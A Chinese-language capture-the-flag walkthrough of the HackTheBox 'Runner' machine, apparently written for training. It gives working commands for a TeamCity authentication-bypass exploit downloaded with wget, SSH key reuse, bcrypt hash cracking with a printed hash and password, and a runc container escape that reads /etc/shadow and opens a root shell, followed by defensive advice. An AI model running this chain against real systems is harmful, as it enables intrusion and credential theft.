HackThebox Runner Walkthrough
字数 1663 2025-08-19 12:42:14
HackTheBox Runner 渗透测试完整指南
1. 目标概述
Runner 是 HackTheBox 平台上的一个中等难度 Linux 靶机,涉及以下技术点:
- TeamCity CI/CD 平台漏洞利用 (CVE-2024-27198)
- SSH 私钥泄露与利用
- Portainer 容器管理平台
- Docker 容器逃逸 (CVE-2024-21626)
- 密码哈希破解与横向移动
2. 初始信息收集
2.1 端口扫描
使用 Nmap 进行全端口扫描:
nmap -A -Pn 10.10.11.13 -sV -oN Runner.tcp
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp open http nginx 1.18.0 (Ubuntu)
981/tcp filtered unknown
1096/tcp filtered cnrprotocol
8000/tcp open nagios-nsca Nagios NSCA
10566/tcp filtered unknown
2.2 Web 服务枚举
80 端口
- 重定向到 http://runner.htb/
- 标准产品展示页面,无直接可利用点
8000 端口
- Nagios NSCA 服务
- 目录扫描发现
/health和/version端点,但无有用信息
2.3 虚拟主机爆破
使用 ffuf 进行子域名枚举:
ffuf -u http://runner.htb -w SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.runner.htb" -fw 4
发现子域名:
- teamcity.runner.htb (返回 401 状态码)
3. TeamCity 漏洞利用
3.1 TeamCity 简介
TeamCity 是 JetBrains 开发的持续集成和持续交付(CI/CD)工具,支持多种技术栈。
3.2 CVE-2024-27198 漏洞利用
这是一个身份验证绕过漏洞,允许创建管理员账户。
利用步骤:
-
下载漏洞利用脚本:
wget https://github.com/yoryio/CVE-2024-27198/raw/main/CVE-2024-27198.py -
执行漏洞利用:
python3 CVE-2024-27198.py -t http://teamcity.runner.htb -u attacker -p attacker -
成功创建管理员账户后,登录 TeamCity 控制台
3.3 获取初始访问权限
在 TeamCity 控制台中:
- 浏览项目配置
- 在
AllProjects > pluginData > ssh_keys目录下发现 SSH 私钥文件id_rsa - 下载私钥文件
使用发现的私钥尝试 SSH 登录:
chmod 600 id_rsa
ssh -i id_rsa john@runner.htb
成功获取初始 shell 作为 john 用户。
4. 权限提升路径
4.1 系统信息收集
检查当前用户权限:
id
whoami
检查系统进程和网络连接:
netstat -ntpl
ps aux
发现关键服务:
- 127.0.0.1:9443 - 未知服务
- 127.0.0.1:8111 - TeamCity
- 127.0.0.1:9000 - Portainer
检查 /opt 目录:
ls /opt
发现:
- containerd
- portainer
4.2 横向移动至 matthew 用户
-
从 TeamCity 备份中提取用户哈希:
sudo cat database_dump/users获取到 matthew 的密码哈希:
$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em -
使用 hashcat 破解哈希:
hashcat -m3200 '$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em' rockyou.txt --force破解结果:
piper123 -
尝试使用该密码 SSH 登录 matthew 用户:
ssh matthew@runner.htb
4.3 通过 Portainer 提升权限
-
设置 SSH 端口转发访问本地的 Portainer:
ssh -L 9000:127.0.0.1:9000 matthew@runner.htb -fN -
浏览器访问
http://localhost:9000,使用 matthew:piper123 登录 -
在 Portainer 中创建或管理容器,获取 root 权限
4.4 利用 CVE-2024-21626 容器逃逸
-
在 Portainer 中创建新容器,使用以下配置:
docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm -
在容器内获取主机文件系统访问:
cat /proc/self/root/etc/shadow -
或者直接获取 root shell:
chroot /proc/self/root bash
5. 替代提权路径
如果无法通过 Portainer 提权,可尝试以下方法:
-
检查不安全的挂载点:
cat /etc/fstab -
查找 SUID 文件:
find / -perm -4000 -type f 2>/dev/null -
检查 cron 作业:
crontab -l ls -la /etc/cron*
6. 总结与关键点
- 信息收集是关键:全面的端口扫描和子域名枚举发现了 TeamCity 入口
- CVE 利用:及时查找和应用公开漏洞 (CVE-2024-27198)
- 凭证管理:在 CI/CD 平台中经常存储敏感凭证,如 SSH 密钥
- 横向移动:密码复用是常见问题,哈希破解可以扩大访问范围
- 容器安全:不当的容器配置可能导致容器逃逸和权限提升
7. 防御建议
- 及时更新 CI/CD 平台和容器运行时
- 避免在版本控制或配置管理中存储明文凭证
- 实施最小权限原则,限制容器权限
- 使用强密码策略并避免密码复用
- 定期审计系统配置和权限设置
通过这份指南,您应该能够全面理解 Runner 靶机的渗透测试过程,并掌握相关的安全概念和技术。